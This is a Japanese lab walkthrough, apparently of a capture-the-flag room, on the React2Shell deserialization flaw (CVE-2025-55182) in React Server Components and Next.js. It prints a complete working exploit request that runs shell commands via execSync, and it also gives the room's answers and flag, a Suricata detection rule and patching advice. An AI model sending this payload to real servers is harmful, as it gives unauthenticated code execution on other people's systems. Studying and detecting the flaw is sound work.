
React2Shell CVE-2025-55182: 認証されていない安全でないデシリアライゼーションがReact Server Componentsにあり、Flightプロトコルを介して確実なリモートコード実行に至る。
難易度:中級 → 上級
カテゴリ:Web Exploitation | Deserialization | RCE

CVE-2025-55182は、React2Shellというあだ名で知られ、防御側を即座に不安にさせる脆弱性のひとつです😬。2025年12月に発見され、CVSSスコア10.0を記録しています。これは、単なるエッジケースのバグではないことを既に示しています。
その核心は、この脆弱性がReact Server Components(RSC) と、それらを基盤とするフレームワーク(特にNext.js)に影響を与えることです。恐ろしい点は?
👉 認証不要のリモートコード実行(RCE) 👉 単一の細工されたHTTPリクエスト 👉 デフォルト設定が脆弱
ログイン不要。特別な権限不要。ただ1つの適切に作成されたリクエストだけです。
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackこのルームでは、このバグがなぜ存在するのか、どのように悪用されるのか、そして防御側が何をできるのかを説明します。
フラグ: 回答不要。
悪用の前に、アーキテクチャの明確化が必要です。
React Server Components(React 19で導入)は、Reactアプリの一部をブラウザではなくサーバー上で実行できるようにします。つまり:
クライアントとサーバー間の通信は、React Flightプロトコルを介して行われます。このプロトコルは、クライアントでデータをシリアライズし、サーバーでデシリアライズします。
特別なマーカーを使用します:
$@ → チャンク参照
$B → Blob参照
コロン記法によるプロパティパス 例:
$1:constructor:constructor
⚠️ そして、このシリアライズロジックこそが問題の発生源です。
質問: Blob参照を示す記号は何ですか?
✅ 回答: $B
CVE-2025-55182の核心には、古典的な安全でないデシリアライズの欠陥があります。
脆弱なパターンを見てみましょう(以下は切り取らないでください👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 追加のロジック ...
return moduleExports[metadata[2]]; // 脆弱な行
}
JavaScriptでは、ブラケット記法:
obj[someKey]
は、エクスポートされたプロパティのみへのアクセスに制限されません。プロトタイプチェーン全体を辿ります。
ここで重要な洞察が入ります👀:
.constructorがあるconstructorはFunctionコンストラクタを指すFunction("コード") = 任意のJS実行Flightプロトコルがコロン区切りのパスを許可するため、攻撃者は以下を送信できます:
$1:constructor:constructor
これは次のように解決されます:
.constructorにアクセス.constructorにアクセス → Functionこの時点でゲームオーバー🎮です。
フラグ: 回答不要。
それでは、maple3142のPoCをステップごとに分解しましょう。
攻撃者は、偽のチャンクオブジェクトを含むマルチパートリクエストを送信します:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
このオブジェクトは、Reactの内部チャンク構造を模倣しています。
thenをChunk.prototype.thenに指すことで、Reactは攻撃者が制御するロジックを待機するように騙されます。
$B1337マーカーはBlobデシリアライズハンドラをトリガーし、内部で以下を実行します:
response._formData.get(response._prefix + id)
しかし、私たちは以下を汚染しています:
_formData.get → Function_prefix → 悪意のあるJS結果として実行されるコード:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 任意のJavaScript実行が達成されました。
PoCは以下を実行します:
process.mainModule
.require('child_process')
.execSync('xcalc')
これは簡単に次のものに置き換えられます:
フラグ: 回答不要。
以下が完全なエクスプロイトリクエストです(そのまま、切り取らずに):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…マルチパートボディは続く…)
Next-ActionヘッダーがServer Actionsをトリガーmultipart/form-dataは必須$@0が自己参照を作成$B1337がBlobロジックをトリガーconstructor:constructorがFunctionにつながるこれは偶然ではありません。精密に設計されたチェーンです。
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
その他: React Router (RSC), Waku, Redwood SDK
📊 Wizの調査:**クラウド環境の39%**が露出 🌐 Shodan:571k以上のReactサーバー、444k以上のNext.js
これは…かなりの数です😶
まずRepeaterで、新しいHTTPリクエストを作成し、ターゲットを選択します。

Burp Suite Repeaterを使用して、ペイロードを送信します:
execSync('id')

そして後で:
execSync('whoami')

ユーザー: ubuntu
フラグ:
{React-19.2.0}
クリーンで信頼性が高く、再現可能な悪用💀
防御側にとっての良いニュース👮♂️ — 悪用は痕跡を残します。
Next-Action ヘッダーmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"これらは通常のユーザートラフィックに決して現れるべきではありません。
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
以下に最適:

React2Shellは、以下の教科書的な例です:
パッチ済みバージョンがインストールされ、npm auditの推奨事項に従えば、エクスプロイトは完全に無効化されます ✅。
⚠️ 許可されたラボ以外でテストしないでください。
🔥 常に迅速にパッチを適用してください。
🧠 バグがなぜ存在するのかを理解してください — 悪用方法だけでなく。
この記事を楽しんでいただけたなら、またはサイバーセキュリティ、CTF、VAPTに関する私の活動に興味があれば:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
ハッピーハッキング — 責任を持って🗿🚀